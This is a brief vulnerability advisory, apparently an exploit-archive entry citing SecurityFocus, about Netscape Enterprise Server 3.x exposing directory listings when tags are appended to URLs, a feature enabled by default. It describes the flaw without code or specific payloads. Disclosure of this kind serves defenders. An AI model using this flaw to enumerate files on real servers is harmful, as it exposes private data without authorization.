Netscape Enterprise Server 3.0/3.6/3.51 - Directory Indexing

// source: https://www.securityfocus.com/bid/1063/info

Netscape Enterprise Server 3.x includes a poorly documented feature that will allow remote users to view directory listings by appending various instructional tags to the URL. Although it can be disabled, Netscape Enterprise Server is shipped with the "Directory Indexing" feature enabled by default.
